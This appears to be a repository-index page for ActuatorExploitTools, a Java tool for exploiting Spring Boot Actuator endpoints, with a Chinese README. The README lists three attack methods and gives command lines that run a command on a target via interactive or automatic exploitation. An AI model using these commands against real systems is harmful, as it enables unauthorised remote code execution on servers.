https://github.com/r00tuser111/ActuatorExploitTools

一款用于攻击spring boot actuator的集成环境，目前集成三种攻击方式，支持1.x、2.x
https://github.com/r00tuser111/ActuatorExploitTools

Last synced: 22 days ago
JSON representation

一款用于攻击spring boot actuator的集成环境，目前集成三种攻击方式，支持1.x、2.x

• Host: GitHub
• URL: https://github.com/r00tuser111/ActuatorExploitTools
• Owner: r00tuser111
• Created: 2020-06-04T06:46:39.000Z (over 4 years ago)
• Default Branch: master
• Last Pushed: 2021-07-26T03:38:58.000Z (over 3 years ago)
• Last Synced: 2024-08-05T17:30:52.942Z (4 months ago)
• Homepage:
• Size: 29 MB
• Stars: 86
• Watchers: 3
• Forks: 13
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• awesome-hacking-lists - r00tuser111/ActuatorExploitTools - 一款用于攻击spring boot actuator的集成环境，目前集成三种攻击方式，支持1.x、2.x (Others)

README

        
## ActuatorExploitTools

> 

- 更新使用https://github.com/hsiafan/requests 发包库，修复https不能发包异常（2021-07-26)

- 更新支持Spring Boot Actuator 2.x, 会自动判断目标Spring Boot Actuator版本，建议使用auto攻击 (2021-07-05)

---

一款用于攻击spring boot actuator的集成环境，目前集成三种攻击方式，支持攻击spring Boot Actuator1.x、2.x

- spring cloud bootstrap location 

- jolokia mbeans

- eureka serviceUrl

工具需要在与目标网络连通的机器上运行，支持交互式攻击和选择Exp自动攻击，交互式攻击适用于众测VPN场景

直接运行即可看到工具说明

`java -jar ActuatorExploitTools-1.0-SNAPSHOT-jar-with-dependencies.jar`

![image-20200604135950250](img/image-20200604135950250.png)

交互式攻击：

`java -jar ActuatorExploitTools-1.0-SNAPSHOT-jar-with-dependencies.jar -ip 127.0.0.1 -c calc`

![image-20200604140238357](img/image-20200604140238357.png)

选择Exp攻击：

`java -jar ActuatorExploitTools-1.0-SNAPSHOT-jar-with-dependencies.jar -ip 127.0.0.1 -c calc -u http://127.0.0.1:8888/ -e JolokiaMbean`

![image-20200604140548335](img/image-20200604140548335.png)

或者你不想选，可以直接`-e All`，将会用三种方式攻击

``java -jar ActuatorExploitTools-1.0-SNAPSHOT-jar-with-dependencies.jar -ip 127.0.0.1 -c calc -u http://127.0.0.1:8888/ -e All``

![image-20200604140930508](img/image-20200604140930508.png)

自动攻击，对于修改配置的攻击方式会在攻击完成时还原配置，默认还原为空，暂不支持自定义参数

感谢以下项目，很多代码和设计都是“参考”自它们：

- JNDI-Injection-Exploit

- JNDI-Exploit-Bypass-Demo

- ShiroExploit_GUI

与及测试项目：

- java-sec-code

- actuator-testbed